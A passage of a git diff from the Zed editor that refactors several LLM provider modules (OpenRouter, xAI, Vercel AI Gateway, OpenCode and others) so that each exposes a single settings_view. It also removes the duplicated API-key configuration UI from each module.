-                    .child(
-                        Icon::new(IconName::Info)
-                            .size(IconSize::XSmall)
-                            .color(Color::Muted),
-                    )
-                    .child(Label::new("Zed also supports OpenAI-compatible models.")),
-            )
-            .child(
-                Button::new("docs", "Learn More")
-                    .end_icon(
-                        Icon::new(IconName::ArrowUpRight)
-                            .size(IconSize::Small)
-                            .color(Color::Muted),
-                    )
-                    .on_click(move |_, _window, cx| {
-                        cx.open_url("https://zed.dev/docs/ai/llm-providers#openai-api-compatible")
-                    }),
-            );
-
-        if self.load_credentials_task.is_some() {
-            div().child(Label::new("Loading credentials…")).into_any()
-        } else {
-            v_flex()
-                .size_full()
-                .child(api_key_section)
-                .child(compatible_api_section)
-                .into_any()
-        }
-    }
-}
diff --git a/crates/language_models/src/provider/open_ai_compatible.rs b/crates/language_models/src/provider/open_ai_compatible.rs
index e0c6f1f16ea1fb..e69e847eab91df 100644
--- a/crates/language_models/src/provider/open_ai_compatible.rs
+++ b/crates/language_models/src/provider/open_ai_compatible.rs
@@ -1,14 +1,14 @@
 use anyhow::Result;
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, StreamExt, future::BoxFuture};
-use gpui::{AnyView, App, AppContext, AsyncApp, Entity, Task, Window};
+use gpui::{App, AppContext, AsyncApp, Entity, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     AuthenticateError, IconOrSvg, LanguageModel, LanguageModelCompletionError,
     LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolSchemaFormat, RateLimiter,
+    LanguageModelToolSchemaFormat, ProviderSettingsView, RateLimiter, SubPageProviderSettings,
 };
 use open_ai::{
     ResponseStreamEvent,
@@ -144,32 +144,27 @@ impl LanguageModelProvider for OpenAiCompatibleLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| {
-            ApiCompatibleProviderConfigurationView::new(
-                self.state.clone(),
-                "OpenAI",
-                API_KEY_PLACEHOLDER,
-                window,
-                cx,
-            )
-        })
-        .into()
-    }
-
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+    fn settings_view(&self, _cx: &mut App) -> Option<ProviderSettingsView> {
+        let state = self.state.clone();
+        Some(ProviderSettingsView::SubPage(SubPageProviderSettings::new(
+            move |window, cx| {
+                cx.new(|cx| {
+                    ApiCompatibleProviderConfigurationView::new(
+                        state.clone(),
+                        "OpenAI",
+                        API_KEY_PLACEHOLDER,
+                        window,
+                        cx,
+                    )
+                })
+                .into()
+            },
+        )))
     }
 
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
diff --git a/crates/language_models/src/provider/open_router.rs b/crates/language_models/src/provider/open_router.rs
index f41e04972d0594..fd5221c9b7ce78 100644
--- a/crates/language_models/src/provider/open_router.rs
+++ b/crates/language_models/src/provider/open_router.rs
@@ -2,7 +2,7 @@ use anyhow::Result;
 use collections::HashMap;
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, Stream, StreamExt, future::BoxFuture};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
@@ -10,7 +10,7 @@ use language_model::{
     LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
     LanguageModelToolResultContent, LanguageModelToolSchemaFormat, LanguageModelToolUse,
-    MessageContent, RateLimiter, Role, StopReason, TokenUsage, env_var,
+    MessageContent, ProviderSettingsView, RateLimiter, Role, StopReason, TokenUsage, env_var,
 };
 use open_router::{
     Model, ModelMode as OpenRouterModelMode, OPEN_ROUTER_API_URL, ResponseStreamEvent, list_models,
@@ -18,9 +18,7 @@ use open_router::{
 use settings::{OpenRouterAvailableModel as AvailableModel, Settings, SettingsStore};
 use std::pin::Pin;
 use std::sync::{Arc, LazyLock};
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 
 use language_model::util::{fix_streamed_json, parse_tool_arguments};
 
@@ -259,34 +257,19 @@ impl LanguageModelProvider for OpenRouterLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url: "https://openrouter.ai/keys".into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://openrouter.ai/keys".into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
@@ -886,141 +869,6 @@ struct RawToolCall {
     thought_signature: Option<String>,
 }
 
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    load_credentials_task: Option<Task<()>>,
-}
-
-impl ConfigurationView {
-    fn new(state: Entity<State>, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let api_key_editor = cx.new(|cx| {
-            InputField::new(
-                window,
-                cx,
-                "sk_or_000000000000000000000000000000000000000000000000",
-            )
-        });
-
-        cx.observe(&state, |_, _, cx| {
-            cx.notify();
-        })
-        .detach();
-
-        let load_credentials_task = Some(cx.spawn_in(window, {
-            let state = state.clone();
-            async move |this, cx| {
-                if let Some(task) = Some(state.update(cx, |state, cx| state.authenticate(cx))) {
-                    let _ = task.await;
-                }
-
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor,
-            state,
-            load_credentials_task,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
-        if api_key.is_empty() {
-            return;
-        }
-
-        // url changes can cause the editor to be displayed again
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_editor(&self, cx: &mut Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable")
-        } else {
-            let api_url = OpenRouterLanguageModelProvider::api_url(cx);
-            if api_url == OPEN_ROUTER_API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        if self.load_credentials_task.is_some() {
-            div()
-                .child(Label::new("Loading credentials..."))
-                .into_any_element()
-        } else if self.should_render_editor(cx) {
-            v_flex()
-                .size_full()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new("To use Zed's agent with OpenRouter, you need to add an API key. Follow these steps:"))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Create an API key by visiting"))
-                                .child(ButtonLink::new("OpenRouter's console", "https://openrouter.ai/keys"))
-                        )
-                        .child(ListBulletItem::new("Ensure your OpenRouter account has credits")
-                        )
-                        .child(ListBulletItem::new("Paste your API key below and hit enter to start using the assistant")
-                        ),
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(
-                        format!("You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."),
-                    )
-                    .size(LabelSize::Small).color(Color::Muted),
-                )
-                .into_any_element()
-        } else {
-            ConfiguredApiCard::new("openrouter-reset-key", configured_card_label)
-                .disabled(env_var_set)
-                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                .when(env_var_set, |this| {
-                    this.tooltip_label(format!("To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."))
-                })
-                .into_any_element()
-        }
-    }
-}
-
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index 2b09032ca515f2..20038e61234904 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -3,7 +3,7 @@ use base64::Engine as _;
 use base64::engine::general_purpose::URL_SAFE_NO_PAD;
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, StreamExt, future::BoxFuture, future::Shared};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, Window};
+use gpui::{App, AsyncApp, Context, Entity, SharedString, Task, Window};
 use http_client::{
     AsyncBody, CustomHeaders, HttpClient, Method, Request as HttpRequest,
     http::{HeaderName, HeaderValue},
@@ -13,7 +13,7 @@ use language_model::{
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
     LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
     LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
-    LanguageModelToolChoice, ProviderConfigurationView, RateLimiter,
+    LanguageModelToolChoice, ProviderSettingsView, RateLimiter,
 };
 use open_ai::{ReasoningEffort, responses::stream_response};
 use rand::RngCore as _;
@@ -157,10 +157,6 @@ impl OpenAiSubscribedProvider {
         });
     }
 
-    fn sign_out(&self, cx: &mut App) -> Task<Result<()>> {
-        do_sign_out(&self.state.downgrade(), cx)
-    }
-
     fn create_language_model(&self, model: ChatGptModel) -> Arc<dyn LanguageModel> {
         Arc::new(OpenAiSubscribedLanguageModel {
             id: LanguageModelId::from(model.id().to_string()),
@@ -243,71 +239,48 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
         }
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        _window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        let state = self.state.clone();
-        let http_client = self.http_client.clone();
-        cx.new(|_cx| ConfigurationView {
-            state,
-            http_client,
-            compact: false,
-        })
-        .into()
-    }
-
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        _window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        let http_client = self.http_client.clone();
-
-        ProviderConfigurationView::Inline {
-            view: cx
-                .new(|_cx| ConfigurationView {
-                    state,
-                    http_client,
-                    compact: true,
-                })
-                .into(),
-        }
-    }
-
-    fn inline_title(&self, cx: &App) -> Option<SharedString> {
-        if self.state.read(cx).is_authenticated() {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
+        let is_authenticated = self.state.read(cx).is_authenticated();
+        let title = if is_authenticated {
             None
         } else {
             Some("Configure ChatGPT".into())
-        }
-    }
-
-    fn inline_description(&self, cx: &App) -> Option<InlineDescription> {
-        if self.state.read(cx).is_authenticated() {
+        };
+        let description = if is_authenticated {
             None
         } else {
             Some(InlineDescription::Text(SUBSCRIPTION_DESCRIPTION.into()))
-        }
-    }
+        };
 
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.sign_out(cx)
+        Some(ProviderSettingsView::Inline(
+            language_model::InlineProviderSettings {
+                title,
+                description,
+                create_view: Arc::new({
+                    let state = self.state.clone();
+                    let http_client = self.http_client.clone();
+                    move |_window, cx| {
+                        cx.new(|_cx| ConfigurationView {
+                            state: state.clone(),
+                            http_client: http_client.clone(),
+                            compact: true,
+                        })
+                        .into()
+                    }
+                }),
+            },
+        ))
     }
 
     fn authentication_error_message(&self) -> SharedString {
         "Your ChatGPT subscription session is invalid or has expired. \
-        Sign in again via the Agent Panel settings to continue."
+        Sign in again via Settings > AI > LLM Providers to continue."
             .into()
     }
 
     fn missing_credentials_error_message(&self) -> SharedString {
         "You are not signed in to your ChatGPT account. \
-        Sign in via the Agent Panel settings to continue."
+        Sign in via Settings > AI > LLM Providers to continue."
             .into()
     }
 
diff --git a/crates/language_models/src/provider/opencode.rs b/crates/language_models/src/provider/opencode.rs
index f75c71e425b9a8..94689cc0d66b84 100644
--- a/crates/language_models/src/provider/opencode.rs
+++ b/crates/language_models/src/provider/opencode.rs
@@ -3,14 +3,15 @@ use collections::BTreeMap;
 use credentials_provider::CredentialsProvider;
 use fs::Fs;
 use futures::{FutureExt, StreamExt, future::BoxFuture};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
+use gpui::{App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
 use http_client::{AsyncBody, CustomHeaders, HttpClient, http};
 use language_model::{
     ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, InlineDescription, LanguageModel,
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
     LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
     LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
-    LanguageModelToolChoice, RateLimiter, ReasoningEffort, env_var,
+    LanguageModelToolChoice, ProviderSettingsView, RateLimiter, ReasoningEffort,
+    SubPageProviderSettings, env_var,
 };
 use opencode::{ApiProtocol, OPENCODE_API_URL, OpenCodeSubscription};
 pub use settings::OpenCodeAvailableModel as AvailableModel;
@@ -200,12 +201,6 @@ impl LanguageModelProvider for OpenCodeLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiOpenCode)
     }
 
-    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
-        Some(InlineDescription::Text(
-            "To use OpenCode models in Zed, you need an API key.".into(),
-        ))
-    }
-
     fn default_model(&self, cx: &App) -> Option<Arc<dyn LanguageModel>> {
         if Self::subscription_enabled(OpenCodeSubscription::Go, cx) {
             // If both Go and Zen are enabled, prefer Go since it's not pay-as-you-go
@@ -311,19 +306,17 @@ impl LanguageModelProvider for OpenCodeLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
+    fn settings_view(&self, _cx: &mut App) -> Option<ProviderSettingsView> {
+        let state = self.state.clone();
+        Some(ProviderSettingsView::SubPage(
+            SubPageProviderSettings::new(move |window, cx| {
+                cx.new(|cx| ConfigurationView::new(state.clone(), window, cx))
+                    .into()
+            })
+            .description(InlineDescription::Text(
+                "To use OpenCode models in Zed, you need an API key.".into(),
+            )),
+        ))
     }
 }
 
diff --git a/crates/language_models/src/provider/vercel_ai_gateway.rs b/crates/language_models/src/provider/vercel_ai_gateway.rs
index dcceffe22e7f0f..212223eb851426 100644
--- a/crates/language_models/src/provider/vercel_ai_gateway.rs
+++ b/crates/language_models/src/provider/vercel_ai_gateway.rs
@@ -2,7 +2,7 @@ use anyhow::Result;
 use collections::BTreeMap;
 use credentials_provider::CredentialsProvider;
 use futures::{AsyncReadExt, FutureExt, StreamExt, future::BoxFuture};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{
     AsyncBody, CustomHeaders, HttpClient, Method, Request as HttpRequest, RequestBuilderExt, http,
 };
@@ -11,7 +11,7 @@ use language_model::{
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolSchemaFormat, RateLimiter, env_var,
+    LanguageModelToolSchemaFormat, ProviderSettingsView, RateLimiter, env_var,
 };
 use open_ai::ResponseStreamEvent;
 use serde::Deserialize;
@@ -19,9 +19,7 @@ pub use settings::OpenAiCompatibleModelCapabilities as ModelCapabilities;
 pub use settings::VercelAiGatewayAvailableModel as AvailableModel;
 use settings::{Settings, SettingsStore};
 use std::sync::{Arc, LazyLock};
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 
 const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("vercel_ai_gateway");
 const PROVIDER_NAME: LanguageModelProviderName =
@@ -246,36 +244,20 @@ impl LanguageModelProvider for VercelAiGatewayLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url:
-                "https://vercel.com/d?to=%2F%5Bteam%5D%2F%7E%2Fai%2Fapi-keys&title=Go+to+AI+Gateway"
-                    .into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://vercel.com/d?to=%2F%5Bteam%5D%2F%7E%2Fai%2Fapi-keys&title=Go+to+AI+Gateway"
+                .into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
@@ -618,131 +600,3 @@ async fn list_models(
 
     Ok(models)
 }
-
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    load_credentials_task: Option<Task<()>>,
-}
-
-impl ConfigurationView {
-    fn new(state: Entity<State>, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let api_key_editor =
-            cx.new(|cx| InputField::new(window, cx, "vck_000000000000000000000000000"));
-
-        cx.observe(&state, |_, _, cx| cx.notify()).detach();
-
-        let load_credentials_task = Some(cx.spawn_in(window, {
-            let state = state.clone();
-            async move |this, cx| {
-                if let Some(task) = Some(state.update(cx, |state, cx| state.authenticate(cx))) {
-                    let _ = task.await;
-                }
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor,
-            state,
-            load_credentials_task,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
-        if api_key.is_empty() {
-            return;
-        }
-
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_editor(&self, cx: &Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable")
-        } else {
-            let api_url = VercelAiGatewayLanguageModelProvider::api_url(cx);
-            if api_url == API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        if self.load_credentials_task.is_some() {
-            div().child(Label::new("Loading credentials...")).into_any()
-        } else if self.should_render_editor(cx) {
-            v_flex()
-                .size_full()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new(
-                    "To use Zed's agent with Vercel AI Gateway, you need to add an API key. Follow these steps:",
-                ))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Create an API key in"))
-                                .child(ButtonLink::new(
-                                    "Vercel AI Gateway's console",
-                                    "https://vercel.com/d?to=%2F%5Bteam%5D%2F%7E%2Fai%2Fapi-keys&title=Go+to+AI+Gateway",
-                                )),
-                        )
-                        .child(ListBulletItem::new(
-                            "Paste your API key below and hit enter to start using the assistant",
-                        )),
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(format!(
-                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed.",
-                    ))
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-                )
-                .into_any_element()
-        } else {
-            ConfiguredApiCard::new("vercel-reset-key", configured_card_label)
-                .disabled(env_var_set)
-                .when(env_var_set, |this| {
-                    this.tooltip_label(format!("To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."))
-                })
-                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                .into_any_element()
-        }
-    }
-}
diff --git a/crates/language_models/src/provider/x_ai.rs b/crates/language_models/src/provider/x_ai.rs
index 92121f2e5ff442..4556e439a39453 100644
--- a/crates/language_models/src/provider/x_ai.rs
+++ b/crates/language_models/src/provider/x_ai.rs
@@ -2,23 +2,22 @@ use anyhow::Result;
 use collections::BTreeMap;
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, StreamExt, future::BoxFuture};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt, Window};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
     LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
     LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
-    LanguageModelToolChoice, LanguageModelToolSchemaFormat, RateLimiter, env_var,
+    LanguageModelToolChoice, LanguageModelToolSchemaFormat, ProviderSettingsView, RateLimiter,
+    env_var,
 };
 use open_ai::ResponseStreamEvent;
 pub use settings::XaiAvailableModel as AvailableModel;
 use settings::{Settings, SettingsStore};
 use std::sync::{Arc, LazyLock};
 use strum::IntoEnumIterator;
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 use x_ai::XAI_API_URL;
 
 const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("x_ai");
@@ -193,34 +192,19 @@ impl LanguageModelProvider for XAiLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url: "https://console.x.ai/team/default/api-keys".into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://console.x.ai/team/default/api-keys".into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
@@ -448,87 +432,6 @@ impl LanguageModel for XAiLanguageModel {
     }
 }
 
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    load_credentials_task: Option<Task<()>>,
-}
-
-impl ConfigurationView {
-    fn new(state: Entity<State>, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let api_key_editor = cx.new(|cx| {
-            InputField::new(
-                window,
-                cx,
-                "xai-0000000000000000000000000000000000000000000000000",
-            )
-            .label("API key")
-        });
-
-        cx.observe(&state, |_, _, cx| {
-            cx.notify();
-        })
-        .detach();
-
-        let load_credentials_task = Some(cx.spawn_in(window, {
-            let state = state.clone();
-            async move |this, cx| {
-                if let Some(task) = Some(state.update(cx, |state, cx| state.authenticate(cx))) {
-                    // We don't log an error, because "not signed in" is also an error.
-                    let _ = task.await;
-                }
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor,
-            state,
-            load_credentials_task,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
-        if api_key.is_empty() {
-            return;
-        }
-
-        // url changes can cause the editor to be displayed again
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |input, cx| input.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_editor(&self, cx: &mut Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -578,64 +481,3 @@ mod tests {
         );
     }
 }
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
